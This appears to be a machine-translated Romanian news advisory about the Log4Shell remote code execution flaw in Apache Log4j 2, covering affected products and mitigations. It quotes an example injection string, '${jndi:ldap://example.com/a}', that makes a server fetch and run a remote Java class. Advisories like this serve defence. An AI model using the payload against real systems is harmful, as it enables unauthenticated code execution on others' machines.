Recent se a lansat știrea că o vulnerabilitate critică a fost identificată în Apache Log4j 2, care este caracterizat ca un cadru popular pentru organizarea registrului în aplicații Java, permițând executarea unui cod arbitrar atunci când o valoare special formatată este scrisă în registry în formatul „{jndi: URL}”.
Vulnerabilitate Este notabil deoarece atacul poate fi efectuat în aplicații Java careAcestea înregistrează valorile obținute din surse externe, de exemplu prin afișarea valorilor problematice în mesajele de eroare.
Se observă că aproape toate proiectele care folosesc cadre precum Apache Struts, Apache Solr, Apache Druid sau Apache Flink sunt afectate, inclusiv Steam, Apple iCloud, clienți și servere Minecraft.
Vulnerabilitatea este de așteptat să ducă la un val de atacuri masive asupra aplicațiilor de întreprindere, repetând istoria vulnerabilităților critice în cadrul, Apache Struts, care este o estimare aproximativă utilizată în 65% din aplicațiile web Fortune 100. Lista aplicațiilor web ale companiei au inclus încercări deja înregistrate de a scana rețeaua pentru sisteme vulnerabile.
Vulnerabilitatea permite executarea de la distanță a codului neautentificat. Log4j 2 este o bibliotecă de jurnal Java open source dezvoltată de Apache Foundation. Log4j 2 este utilizat pe scară largă în multe aplicații și este prezent, ca dependență, în multe servicii. Acestea includ aplicații de afaceri, precum și numeroase servicii cloud.
Echipa de atac Randori a dezvoltat un exploit funcțional și a reușit să exploateze cu succes această vulnerabilitate în mediile clienților, ca parte a platformei noastre de securitate ofensivă.
Vulnerabilitatea poate fi accesată printr-o multitudine de metode specifice aplicației. Într-adevăr, orice scenariu care permite unei conexiuni la distanță să furnizeze date arbitrare pe care o aplicație care utilizează biblioteca Log4j le scrie în fișierele jurnal este susceptibil de exploatare. Această vulnerabilitate este foarte probabil să fie exploatată în sălbăticie și este probabil să afecteze mii de organizații. Această vulnerabilitate reprezintă un risc real semnificativ pentru sistemele afectate.
Problema este agravată de faptul că un exploit funcțional a fost deja publicat, de ex.Dar remedieri pentru ramurile stabile nu au fost încă generate. Identificatorul CVE nu a fost încă atribuit. Soluția este inclusă doar în ramura de testare log4j-2.15.0-rc1. Ca o soluție pentru a bloca vulnerabilitatea, este recomandat să setați parametrul Log4j2.formatMsgNoLookups la true.
Problema s-a datorat faptului că Log4j 2 acceptă manipularea măștilor speciale «{}» în liniile de jurnal, in care Interogările JNDI pot fi executate (Interfața de nume și director Java Java).
Analizând CVE-2021-44228, Randori a determinat următoarele:
Instalările implicite de software de afaceri utilizate pe scară largă sunt vulnerabile.
Vulnerabilitatea poate fi exploatată în mod fiabil și fără autentificare.
Vulnerabilitatea afectează mai multe versiuni ale Log4j 2.
Vulnerabilitatea permite executarea codului de la distanță atunci când utilizatorul rulează aplicația folosind biblioteca.
Atacul se reduce la trecerea unui șir cu substituția „$ {jndi: ldap: //example.com/a}”, procesând care Log4j 2 va trimite o solicitare LDAP pentru calea către clasa Java către serverul atacator.com . Calea returnată de serverul atacatorului (de exemplu, http://example.com/Exploit.class) va fi încărcată și executată în contextul procesului curent, permițând atacatorului să realizeze executarea de cod arbitrar pe sistemul cu drepturi a aplicației curente.
În cele din urmă, se menționează că dacă se constată anomalii, se recomandă să presupuneți că acesta este un incident activ, că a fost compromis și să răspundeți în consecință. Actualizarea la versiuni corectate ale Log4j 2 sau la aplicațiile afectate va elimina această vulnerabilitate. Randori recomandă oricărei organizații care consideră că ar putea fi afectată să facă upgrade urgent la o versiune patch-ată.
În cea mai recentă actualizare de la echipa Apache Log4j, recomandă organizațiilor să facă următoarele
- Actualizare la Log4j 2.15.0
- Pentru cei care nu pot face upgrade la 2.15.0: În versiunile> = 2.10, această vulnerabilitate poate fi atenuată prin setarea proprietății de sistem log4j2.formatMsgNoLookup sau a variabilei de mediu LOG4J_FORMAT_MSG_NO_LOOKUPS la true.
- Pentru versiunile 2,0-beta9 până la 2.10.0, atenuarea este eliminarea clasei JndiLookup din calea de clasă: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
Fuente: https://www.lunasec.io/